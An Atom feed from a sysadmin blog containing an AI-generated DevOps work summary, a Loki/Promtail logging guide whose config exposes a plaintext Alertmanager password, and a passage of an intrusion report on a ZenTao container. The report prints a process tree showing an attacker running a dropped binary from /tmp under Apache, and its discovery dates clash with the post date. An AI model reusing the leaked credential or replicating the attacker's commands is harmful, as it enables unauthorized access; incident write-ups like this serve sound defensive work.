<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <title>运维烂笔头</title>
  <icon>https://www.gravatar.com/avatar/3b9aac9ce1a62704e5a7a37b8ae39081</icon>
  <subtitle>一个 SA 老兵的工作日志</subtitle>
  <link href="https://ming.theyan.gs/atom.xml" rel="self"/>
  
  <link href="https://ming.theyan.gs/"/>
  <updated>2024-12-19T10:51:22.000Z</updated>
  <id>https://ming.theyan.gs/</id>
  
  <author>
    <name>老杨</name>
    <email>m@theyan.gs</email>
  </author>
  
  <generator uri="https://hexo.io/">Hexo</generator>
  
  <entry>
    <title>我在 xxxxx 的工作总结</title>
    <link href="https://ming.theyan.gs/2024/12/work_summary/index.html"/>
    <id>https://ming.theyan.gs/2024/12/work_summary/index.html</id>
    <published>2024-12-11T11:32:45.000Z</published>
    <updated>2024-12-19T10:51:22.000Z</updated>
    
    <content type="html"><![CDATA[<h1 id="我在-xxxxx-的工作总结-AI-生成"><a href="#我在-xxxxx-的工作总结-AI-生成" class="headerlink" title="我在 xxxxx 的工作总结(AI 生成)"></a>我在 xxxxx 的工作总结(AI 生成)</h1><p>从 xxxx 年 xx 月到 xxxx 年 xx 月，我在 xxxxxx 担任 DevOps 工程师。这是一段充满挑战与成长的旅程。在这篇文章里，我将回顾并总结我在这期间负责的主要工作、技术实践以及个人收获，希望能为同样走在 DevOps 路上的朋友们提供一些参考。</p><span id="more"></span><h3 id="一、-核心职责：构建与守护高效稳定的基础设施"><a href="#一、-核心职责：构建与守护高效稳定的基础设施" class="headerlink" title="一、 核心职责：构建与守护高效稳定的基础设施"></a>一、 核心职责：构建与守护高效稳定的基础设施</h3><p>我的核心使命是为公司的产品和研发团队提供一个稳定、高效、自动化的基础设施环境。工作内容可以概括为以下几个方面：</p><ol><li><p><strong>基础设施即代码 (IaC) 与云资源管理</strong>：</p><ul><li>全面负责公司在 <strong>AWS</strong> 上的云资源。初期，我接管了包括 EC2、VPC、IAM、S3 等核心服务的管理权限。</li><li>为了实现标准化和可重复部署，我引入了 <strong>Terraform</strong> 来管理 VPC、EKS 集群等核心网络和计算资源，显著提升了基础设施部署的一致性和效率。</li><li>主导了多次云环境的迁移和重构，包括将服务从旧 AWS 账户迁移到新账户，以及将部分服务从 AWS 迁移到公司的 PVE（Proxmox VE）私有云环境，有效优化了成本。</li></ul></li><li><p><strong>CI&#x2F;CD 与自动化流程建设</strong>：</p><ul><li>利用 <strong>GitHub Actions</strong> 为公司几乎所有的项目（涵盖 Rust, Python, Node.js, Go 等技术栈）搭建了 CI&#x2F;CD 流水线。</li><li>设计并实现了标准化的 CI 流程，包括自动化构建、Docker 镜像打包、推送到 GHCR (GitHub Container Registry)，以及最终部署到 EKS 或 EC2。</li><li>通过 <strong>Reusable Workflows</strong> 重构了 GitHub Actions，实现了 PR 提交&#x2F;合并时自动发送通知到 Telegram 群组等功能，提升了团队协作效率。</li><li>为移动端（App2.0, React Native&#x2F;Expo）项目配置了 CI 流程，实现了从代码提交到自动构建 Android&#x2F;iOS 包，并发布到 GitHub Release 的全过程自动化。</li></ul></li><li><p><strong>监控、报警与日志系统建设</strong>：</p><ul><li>从零开始搭建了公司统一的监控报警体系。在 EKS 和 PVE 环境中部署了 <strong>Prometheus + Grafana + Alertmanager</strong> 技术栈。</li><li>利用 <strong>Blackbox Exporter</strong> 对公司所有线上服务的 URL 进行健康检查和 SSL 证书过期监控。</li><li>部署了 <strong>Loki + Promtail</strong> 组合，集中收集所有 Docker 容器和关键服务的日志，并通过 Grafana 实现了日志的集中查询和可视化。</li><li>配置了多渠道报警，包括将 Prometheus 报警、AWS EventBridge 事件通过 Lambda 和 SNS 推送到 <strong>Telegram</strong>、<strong>Lark（飞书）</strong> 和 <strong>短信</strong>，确保故障能在第一时间被感知和响应。</li></ul></li><li><p><strong>运维与服务保障</strong>：</p><ul><li>负责公司多条区块链（mainnet, testnet）的部署、重置、迁移和日常维护，包括 Validator 节点和 RPC 节点的管理。</li><li>部署和维护了 KYC、邮件申诉、排行榜、空投等多个核心业务系统，并为它们建立了完善的 CI&#x2F;CD 和监控。</li><li>使用 <strong>Ansible</strong> 编写 Playbook，实现了对所有 Linux 服务器用户的自动化管理（如公钥分发、用户创建&#x2F;删除）。</li><li>通过 <strong>WireGuard</strong> 和 <strong>OpenVPN</strong> 打通了办公室、PVE 私有云和多个 AWS VPC 之间的内网，构建了安全便捷的混合云网络环境。</li></ul></li></ol><h3 id="二、-主要项目与技术实践亮点"><a href="#二、-主要项目与技术实践亮点" class="headerlink" title="二、 主要项目与技术实践亮点"></a>二、 主要项目与技术实践亮点</h3><p>在一年多的时间里，我深度参与并主导了多个关键项目，以下是一些典型的例子：</p><ul><li><p><strong>从 0 到 1 搭建 EKS 平台</strong>：通过 Terraform 创建了完整的 EKS（Elastic Kubernetes Service）环境，包括 VPC、Node Group，并部署了 AWS Load Balancer Controller, Prometheus, Grafana, Loki 等核心组件，为服务的容器化部署打下了坚实基础。</p></li><li><p><strong>自动化监控脚本开发</strong>：使用 Python 编写了一系列实用的小工具，并通过 GitHub Actions 定时执行，例如：</p><ul><li>监控 PVE 节点健康状况。</li><li>监控域名和 SSL 证书的过期时间。</li><li>每日自动获取 AWS 账单并发送通知。</li></ul></li><li><p><strong>混合云网络打通</strong>：成功实现了深圳办公室、香港 PVE 机房与 AWS 新加坡地域 VPC 之间的三网互通。通过在 PVE 和办公室部署软路由，并利用 WireGuard 建立隧道，解决了跨地域、跨云厂商的网络连接问题，为开发和测试提供了极大的便利。</p></li><li><p><strong>服务迁移与成本优化</strong>：主导了将邮件申诉服务（MailServer）等多个应用从 AWS EC2 迁移到公司自建的 PVE 虚拟化平台，在保证服务稳定性的前提下，有效降低了云资源成本。</p></li><li><p><strong>日志与审计系统建设</strong>：部署了 rsyslogd 和 systemd-journal-remote 服务，集中收集了所有服务器的系统日志和操作审计日志，为安全审计和问题追溯提供了有力支持。</p></li></ul><h3 id="三、-技术栈沉淀"><a href="#三、-技术栈沉淀" class="headerlink" title="三、 技术栈沉淀"></a>三、 技术栈沉淀</h3><p>在这段经历中，我熟练运用了以下技术和工具：</p><ul><li><strong>云平台</strong>: AWS (EC2, VPC, S3, IAM, EKS, RDS, Lambda, CloudFront, Amplify, Route 53)</li><li><strong>虚拟化</strong>: Proxmox VE (PVE)</li><li><strong>IaC</strong>: Terraform, Ansible</li><li><strong>CI&#x2F;CD</strong>: GitHub Actions</li><li><strong>容器化</strong>: Docker, Docker Compose, Kubernetes (EKS)</li><li><strong>监控与日志</strong>: Prometheus, Grafana, Alertmanager, Loki, Promtail, Blackbox Exporter</li><li><strong>网络</strong>: WireGuard, OpenVPN, Nginx, HAProxy</li><li><strong>脚本与编程</strong>: Python, Bash Shell</li><li><strong>数据库</strong>: PostgreSQL, MySQL (RDS &amp; 自建)</li><li><strong>其他</strong>: Vault, Redis, MinIO</li></ul><h3 id="四、-总结与展望"><a href="#四、-总结与展望" class="headerlink" title="四、 总结与展望"></a>四、 总结与展望</h3><p>在 xxxxxxx 的这段时间，我不只是一名执行者，更是一个问题解决者和流程优化者。从手动部署到全面自动化，从分散的资源到统一管理，我亲身经历了公司 DevOps 体系从无到有、从有到优的全过程。最大的收获不仅仅是技术的广度和深度得到了极大的拓展，更重要的是培养了从全局视角思考问题、主动发现并解决潜在风险的 DevOps 思维。</p><p>感谢在 xxxxxxxx 的这段宝贵经历，它为我的职业生涯画下了浓墨重彩的一笔。未来，我将继续在云原生和自动化的道路上探索前行。</p>]]></content>
    
    
    <summary type="html">&lt;h1 id=&quot;我在-xxxxx-的工作总结-AI-生成&quot;&gt;&lt;a href=&quot;#我在-xxxxx-的工作总结-AI-生成&quot; class=&quot;headerlink&quot; title=&quot;我在 xxxxx 的工作总结(AI 生成)&quot;&gt;&lt;/a&gt;我在 xxxxx 的工作总结(AI 生成)&lt;/h1&gt;&lt;p&gt;从 xxxx 年 xx 月到 xxxx 年 xx 月，我在 xxxxxx 担任 DevOps 工程师。这是一段充满挑战与成长的旅程。在这篇文章里，我将回顾并总结我在这期间负责的主要工作、技术实践以及个人收获，希望能为同样走在 DevOps 路上的朋友们提供一些参考。&lt;/p&gt;</summary>
    
    
    
    
    <category term="工作总结" scheme="https://ming.theyan.gs/tags/%E5%B7%A5%E4%BD%9C%E6%80%BB%E7%BB%93/"/>
    
  </entry>
  
  <entry>
    <title>centralized logging 2 using promtail, loki</title>
    <link href="https://ming.theyan.gs/2024/11/centralized-logging-loki/index.html"/>
    <id>https://ming.theyan.gs/2024/11/centralized-logging-loki/index.html</id>
    <published>2024-11-20T12:37:19.000Z</published>
    <updated>2024-11-21T13:42:35.000Z</updated>
    
    <content type="html"><![CDATA[<h2 id="背景介绍"><a href="#背景介绍" class="headerlink" title="背景介绍"></a>背景介绍</h2><p>之前用 rsyslogd 做过一个集中的 log server，主要是收集服务器系统和审计日志。最近要做的这个集中的 log server，则是专注于收集、展示应用日志的。我现在的服务器，操作系统有两种：Debian 12(bookworm) 和 Ubuntu 24.04，准确的说：应用服务器都是 Ubuntu 24.04，只有运维专用的两台（含要做的这个 log server）是 Debian 12。</p><p>因为是小厂，所以就摒弃掉大而重的 elasicsearch 系的方案，直接用 grafana 同源的 loki 来做服务端，客户端收集日志也是 grafana 同源的 promtail，技术方案选型就这么愉快得决定了。</p><span id="more"></span><h2 id="server"><a href="#server" class="headerlink" title="server"></a>server</h2><h3 id="install"><a href="#install" class="headerlink" title="install"></a>install</h3><p>服务器软件（主要是 loki）的安装，具体参见官方文档：<a href="https://grafana.com/docs/grafana/latest/setup-grafana/installation/debian/">Install Grafana on Debian or Ubuntu</a></p><p>大致总结下，就是：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> apt-get install -y \</span><br><span class="line">  apt-transport-https \</span><br><span class="line">  software-properties-common \</span><br><span class="line">  wget</span><br><span class="line"><span class="built_in">sudo</span> <span class="built_in">mkdir</span> -p /etc/apt/keyrings/</span><br><span class="line">wget -q -O - https://apt.grafana.com/gpg.key | \</span><br><span class="line">  gpg --dearmor | \</span><br><span class="line">  <span class="built_in">sudo</span> <span class="built_in">tee</span> /etc/apt/keyrings/grafana.gpg &gt; /dev/null</span><br><span class="line"><span class="built_in">echo</span> \</span><br><span class="line">  <span class="string">&quot;deb [signed-by=/etc/apt/keyrings/grafana.gpg] https://apt.grafana.com stable main&quot;</span> \</span><br><span class="line">   | <span class="built_in">sudo</span> <span class="built_in">tee</span> -a /etc/apt/sources.list.d/grafana.list</span><br><span class="line"><span class="built_in">sudo</span> apt-get update</span><br><span class="line"><span class="built_in">sudo</span> apt-get install loki grafana-enterprise</span><br><span class="line"><span class="comment"># 上面是因为我的 loki 和 grafana 在一台机器上，所以就一起装了</span></span><br></pre></td></tr></table></figure><h3 id="configuration"><a href="#configuration" class="headerlink" title="configuration"></a>configuration</h3><p><code>loki</code> 的 log server 配置还是相当简单的</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">vim /etc/loki/config.yml</span><br><span class="line"><span class="comment"># 修改 /etc/loki/config.yml 文件</span></span><br></pre></td></tr></table></figure><p>加入如下内容：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br></pre></td><td class="code"><pre><span class="line">auth_enabled: false</span><br><span class="line"></span><br><span class="line">server:</span><br><span class="line">  http_listen_port: 3100</span><br><span class="line">  grpc_listen_port: 9096</span><br><span class="line">  log_level: warn</span><br><span class="line">  grpc_server_max_concurrent_streams: 500</span><br><span class="line"></span><br><span class="line">common:</span><br><span class="line">  instance_addr: 127.0.0.1</span><br><span class="line">  path_prefix: /var/lib/loki/loki</span><br><span class="line">  storage:</span><br><span class="line">    filesystem:</span><br><span class="line">      chunks_directory: /var/lib/loki/loki/chunks</span><br><span class="line">      rules_directory: /var/lib/loki/loki/rules</span><br><span class="line">  replication_factor: 1</span><br><span class="line">  ring:</span><br><span class="line">    kvstore:</span><br><span class="line">      store: inmemory</span><br><span class="line"></span><br><span class="line">query_range:</span><br><span class="line">  results_cache:</span><br><span class="line">    cache:</span><br><span class="line">      embedded_cache:</span><br><span class="line">        enabled: true</span><br><span class="line">        max_size_mb: 500</span><br><span class="line"></span><br><span class="line">compactor:</span><br><span class="line">  working_directory: /var/lib/loki/data/retention</span><br><span class="line">  compaction_interval: 1h</span><br><span class="line">  retention_enabled: true</span><br><span class="line">  retention_delete_delay: 2h</span><br><span class="line">  retention_delete_worker_count: 50</span><br><span class="line">  delete_request_store: filesystem</span><br><span class="line"></span><br><span class="line">limits_config:</span><br><span class="line">  reject_old_samples: true</span><br><span class="line">  reject_old_samples_max_age: 24h</span><br><span class="line">  max_query_series: 5000</span><br><span class="line">  retention_period: 720h</span><br><span class="line">  ingestion_rate_mb: 20</span><br><span class="line">  ingestion_burst_size_mb: 40</span><br><span class="line">  max_entries_limit_per_query: 5000</span><br><span class="line"></span><br><span class="line">schema_config:</span><br><span class="line">  configs:</span><br><span class="line">    - from: 2020-10-24</span><br><span class="line">      store: tsdb</span><br><span class="line">      object_store: filesystem</span><br><span class="line">      schema: v13</span><br><span class="line">      index:</span><br><span class="line">        prefix: index_</span><br><span class="line">        period: 24h</span><br><span class="line"></span><br><span class="line">pattern_ingester:</span><br><span class="line">  enabled: true</span><br><span class="line"></span><br><span class="line">ruler:</span><br><span class="line">  alertmanager_client:</span><br><span class="line">    basic_auth_username: cl-am-admin</span><br><span class="line">    basic_auth_password: jFWVXDJX</span><br><span class="line">  alertmanager_url: localhost:9093</span><br><span class="line"></span><br><span class="line">frontend:</span><br><span class="line">  encoding: protobuf</span><br><span class="line"></span><br><span class="line">analytics:</span><br><span class="line">  reporting_enabled: false</span><br></pre></td></tr></table></figure><p>重启 loki</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">systemctl restart loki</span><br></pre></td></tr></table></figure><h2 id="client"><a href="#client" class="headerlink" title="client"></a>client</h2><p>客户端上我们是用 promtail 来收集日志的。promtail 可以用系统安装的，也可以用<br>Docker 来跑，收集的日志也主要是两块：</p><ol><li>应用程序的日志，这些是直接写在文件里的</li><li>Docker container 的日志</li></ol><p>假设我们的 promtail 是用 Docker 来跑的，我们用的 docker compose 文件（<code>~/promtail.yaml</code>）内容如下：</p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">name:</span> <span class="string">promtail</span></span><br><span class="line"><span class="attr">services:</span></span><br><span class="line">  <span class="attr">promtail:</span></span><br><span class="line">    <span class="attr">image:</span> <span class="string">grafana/promtail:3.3.2</span></span><br><span class="line">    <span class="attr">container_name:</span> <span class="string">promtail</span></span><br><span class="line">    <span class="attr">restart:</span> <span class="string">unless-stopped</span></span><br><span class="line">    <span class="attr">volumes:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">~/promtail:/mnt/config</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">/var/lib/docker/containers:/var/lib/docker/containers:ro</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">/var/run/docker.sock:/var/run/docker.sock</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">/var/log/nginx:/var/log/nginx</span></span><br><span class="line">    <span class="attr">labels:</span></span><br><span class="line">      <span class="attr">SVC_NAME:</span> <span class="string">promtail</span></span><br><span class="line">    <span class="attr">networks:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">custombridge</span></span><br><span class="line">    <span class="attr">command:</span> [<span class="string">&quot;-config.file=/mnt/config/promtail-config.yaml&quot;</span>, <span class="string">&quot;-config.expand-env=true&quot;</span>]</span><br><span class="line">    <span class="attr">environment:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">HOSTNAME=app-0</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">HOST_IP=172.24.125.149</span></span><br><span class="line"></span><br><span class="line"><span class="attr">networks:</span></span><br><span class="line">  <span class="attr">custombridge:</span></span><br><span class="line">    <span class="attr">external:</span> <span class="literal">true</span></span><br></pre></td></tr></table></figure><p>然后其真正的配置文件 <code>~/promtail/promtail-config.yaml</code> 的内容如下：</p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">server:</span></span><br><span class="line">  <span class="attr">http_listen_port:</span> <span class="number">9080</span></span><br><span class="line">  <span class="attr">grpc_listen_port:</span> <span class="number">0</span></span><br><span class="line"></span><br><span class="line"><span class="attr">positions:</span></span><br><span class="line">  <span class="attr">filename:</span> <span class="string">/mnt/config/var_log_positions.yaml</span></span><br><span class="line"></span><br><span class="line"><span class="attr">clients:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="attr">url:</span> <span class="string">http://loki.xxx.com:3100/loki/api/v1/push</span></span><br><span class="line"></span><br><span class="line"><span class="attr">scrape_configs:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="attr">job_name:</span> <span class="string">docker</span></span><br><span class="line">    <span class="attr">docker_sd_configs:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="attr">host:</span> <span class="string">unix:///var/run/docker.sock</span></span><br><span class="line">        <span class="attr">refresh_interval:</span> <span class="string">5s</span></span><br><span class="line">    <span class="attr">relabel_configs:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="attr">action:</span> <span class="string">replace</span></span><br><span class="line">        <span class="attr">replacement:</span> <span class="string">&#x27;$&#123;HOSTNAME&#125;&#x27;</span></span><br><span class="line">        <span class="attr">target_label:</span> <span class="string">&#x27;hostname&#x27;</span></span><br><span class="line">      <span class="bullet">-</span> <span class="attr">action:</span> <span class="string">replace</span></span><br><span class="line">        <span class="attr">replacement:</span> <span class="string">&#x27;$&#123;HOST_IP&#125;&#x27;</span></span><br><span class="line">        <span class="attr">target_label:</span> <span class="string">&#x27;host_ip&#x27;</span></span><br><span class="line">      <span class="bullet">-</span> <span class="attr">action:</span> <span class="string">replace</span></span><br><span class="line">        <span class="attr">replacement:</span> <span class="string">&#x27;docker&#x27;</span></span><br><span class="line">        <span class="attr">target_label:</span> <span class="string">&#x27;job&#x27;</span></span><br><span class="line">      <span class="bullet">-</span> <span class="attr">source_labels:</span> [<span class="string">&#x27;__meta_docker_container_name&#x27;</span>]</span><br><span class="line">        <span class="attr">regex:</span> <span class="string">&#x27;/(.*)&#x27;</span></span><br><span class="line">        <span class="attr">target_label:</span> <span class="string">&#x27;container_name&#x27;</span></span><br><span class="line">      <span class="bullet">-</span> <span class="attr">source_labels:</span> [<span class="string">&#x27;__meta_docker_container_id&#x27;</span>]</span><br><span class="line">        <span class="attr">target_label:</span> <span class="string">&#x27;container_id&#x27;</span></span><br><span class="line">      <span class="bullet">-</span> <span class="attr">source_labels:</span> [<span class="string">&#x27;__meta_docker_container_label_REPO_NAME&#x27;</span>]</span><br><span class="line">        <span class="attr">target_label:</span> <span class="string">&#x27;repo_name&#x27;</span></span><br><span class="line">      <span class="bullet">-</span> <span class="attr">source_labels:</span> [<span class="string">&#x27;__meta_docker_container_label_SVC_NAME&#x27;</span>]</span><br><span class="line">        <span class="attr">target_label:</span> <span class="string">&#x27;svc_name&#x27;</span></span><br><span class="line"></span><br><span class="line">  <span class="bullet">-</span> <span class="attr">job_name:</span> <span class="string">nginx</span></span><br><span class="line">    <span class="attr">static_configs:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="attr">targets:</span></span><br><span class="line">          <span class="bullet">-</span> <span class="string">localhost</span></span><br><span class="line">        <span class="attr">labels:</span></span><br><span class="line">          <span class="attr">job:</span> <span class="string">nginx</span></span><br><span class="line">          <span class="attr">svc_name:</span> <span class="string">nginx</span></span><br><span class="line">          <span class="attr">hostname:</span> <span class="string">$&#123;HOSTNAME&#125;</span> </span><br><span class="line">          <span class="attr">host_ip:</span> <span class="string">$&#123;HOST_IP&#125;</span></span><br><span class="line">          <span class="attr">agent:</span> <span class="string">promtail</span></span><br><span class="line">          <span class="attr">__path__:</span> <span class="string">/var/log/nginx/access.log</span></span><br><span class="line">    <span class="attr">pipeline_stages:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="attr">json:</span></span><br><span class="line">          <span class="attr">expressions:</span></span><br><span class="line">            <span class="attr">domain_name:</span> <span class="string">http_host</span></span><br><span class="line">            <span class="attr">return_code:</span> <span class="string">status</span></span><br><span class="line">      <span class="bullet">-</span> <span class="attr">labels:</span></span><br><span class="line">          <span class="attr">domain_name:</span> </span><br><span class="line">          <span class="attr">return_code:</span></span><br></pre></td></tr></table></figure><p>上面的 <code>loki.xxx.com</code> 就是 loki server 的地址，由上面的例子我们可以看到 promtail 同时收集了系统应用（nginx）的日志和 Docker container 的日志</p><p>最后启动 loki</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">docker compose -f ~/promtail.yaml up promtail -d</span><br></pre></td></tr></table></figure><h2 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h2><ul><li><a href="https://grafana.com/docs/grafana/latest/setup-grafana/installation/debian/">https://grafana.com/docs/grafana/latest/setup-grafana/installation/debian/</a></li></ul>]]></content>
    
    
    <summary type="html">&lt;h2 id=&quot;背景介绍&quot;&gt;&lt;a href=&quot;#背景介绍&quot; class=&quot;headerlink&quot; title=&quot;背景介绍&quot;&gt;&lt;/a&gt;背景介绍&lt;/h2&gt;&lt;p&gt;之前用 rsyslogd 做过一个集中的 log server，主要是收集服务器系统和审计日志。最近要做的这个集中的 log server，则是专注于收集、展示应用日志的。我现在的服务器，操作系统有两种：Debian 12(bookworm) 和 Ubuntu 24.04，准确的说：应用服务器都是 Ubuntu 24.04，只有运维专用的两台（含要做的这个 log server）是 Debian 12。&lt;/p&gt;
&lt;p&gt;因为是小厂，所以就摒弃掉大而重的 elasicsearch 系的方案，直接用 grafana 同源的 loki 来做服务端，客户端收集日志也是 grafana 同源的 promtail，技术方案选型就这么愉快得决定了。&lt;/p&gt;</summary>
    
    
    
    
    <category term="Ubuntu" scheme="https://ming.theyan.gs/tags/Ubuntu/"/>
    
    <category term="Debian" scheme="https://ming.theyan.gs/tags/Debian/"/>
    
    <category term="AWS" scheme="https://ming.theyan.gs/tags/AWS/"/>
    
    <category term="Debian 12" scheme="https://ming.theyan.gs/tags/Debian-12/"/>
    
    <category term="bookworm" scheme="https://ming.theyan.gs/tags/bookworm/"/>
    
    <category term="Ubuntu 24.04" scheme="https://ming.theyan.gs/tags/Ubuntu-24-04/"/>
    
    <category term="Loki" scheme="https://ming.theyan.gs/tags/Loki/"/>
    
    <category term="promtail" scheme="https://ming.theyan.gs/tags/promtail/"/>
    
    <category term="grafana" scheme="https://ming.theyan.gs/tags/grafana/"/>
    
  </entry>
  
  <entry>
    <title>禅道（zentao）被入侵的相关信息</title>
    <link href="https://ming.theyan.gs/2024/10/%E7%A6%85%E9%81%93%EF%BC%88zentao%EF%BC%89%E8%A2%AB%E5%85%A5%E4%BE%B5%E6%8A%A5%E5%91%8A/index.html"/>
    <id>https://ming.theyan.gs/2024/10/%E7%A6%85%E9%81%93%EF%BC%88zentao%EF%BC%89%E8%A2%AB%E5%85%A5%E4%BE%B5%E6%8A%A5%E5%91%8A/index.html</id>
    <published>2024-10-13T10:28:45.000Z</published>
    <updated>2024-10-21T11:51:22.000Z</updated>
    
    <content type="html"><![CDATA[<h2 id="发现时间"><a href="#发现时间" class="headerlink" title="发现时间"></a>发现时间</h2><p>最早发现是 2025-05-06 下午，发现 PVE 的香港出口带宽异常，接着发现跟 176.32.35.190 的 tcp 端口 8024 有大量的数据交互</p><p>然后在 2025-05-07 上午，用 <code>docker exec -it zentao /bin/bash</code> 进入容器，<code>apt install psmisc</code>，然后 <code>pstree -a</code> 才确认被入侵的。</p><p>zentao 容器内执行 <code>pstree -a</code> 输出：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br></pre></td><td class="code"><pre><span class="line">s6-svscan /etc/s6/s6-enable</span><br><span class="line">  |-s6-supervise 00-mysql</span><br><span class="line">  |   `-mysqld_safe /opt/zbox/run/mysql/mysqld_safe ...</span><br><span class="line">  |       `-mariadbd --defaults-file=/data/mysql/etc/my.cnf--basedir=/opt/zbox/run</span><br><span class="line">  |           `-13*[&#123;mariadbd&#125;]</span><br><span class="line">  |-s6-supervise 02-sentry</span><br><span class="line">  |   `-tail -f /tmp/sentry.log</span><br><span class="line">  |-s6-supervise 03-roadrunner</span><br><span class="line">  |   `-rr serve -c /apps/zentao/roadrunner/.rr.yaml</span><br><span class="line">  |       `-5*[&#123;rr&#125;]</span><br><span class="line">  |-s6-supervise 01-apache</span><br><span class="line">  |   `-apachectl /opt/zbox/bin/apachectl -D FOREGROUND</span><br><span class="line">  |       `-httpd -D FOREGROUND</span><br><span class="line">  |           |-httpd -D FOREGROUND</span><br><span class="line">  |           |   `-sh -c ...</span><br><span class="line">  |           |       `-sh -c cd /tmp;./slix;echo 60b45fc9adc5;pwd;echo b0c6bc8c2</span><br><span class="line">  |           |           `-slix</span><br><span class="line">  |           |               |-sh</span><br><span class="line">  |           |               |-sh</span><br><span 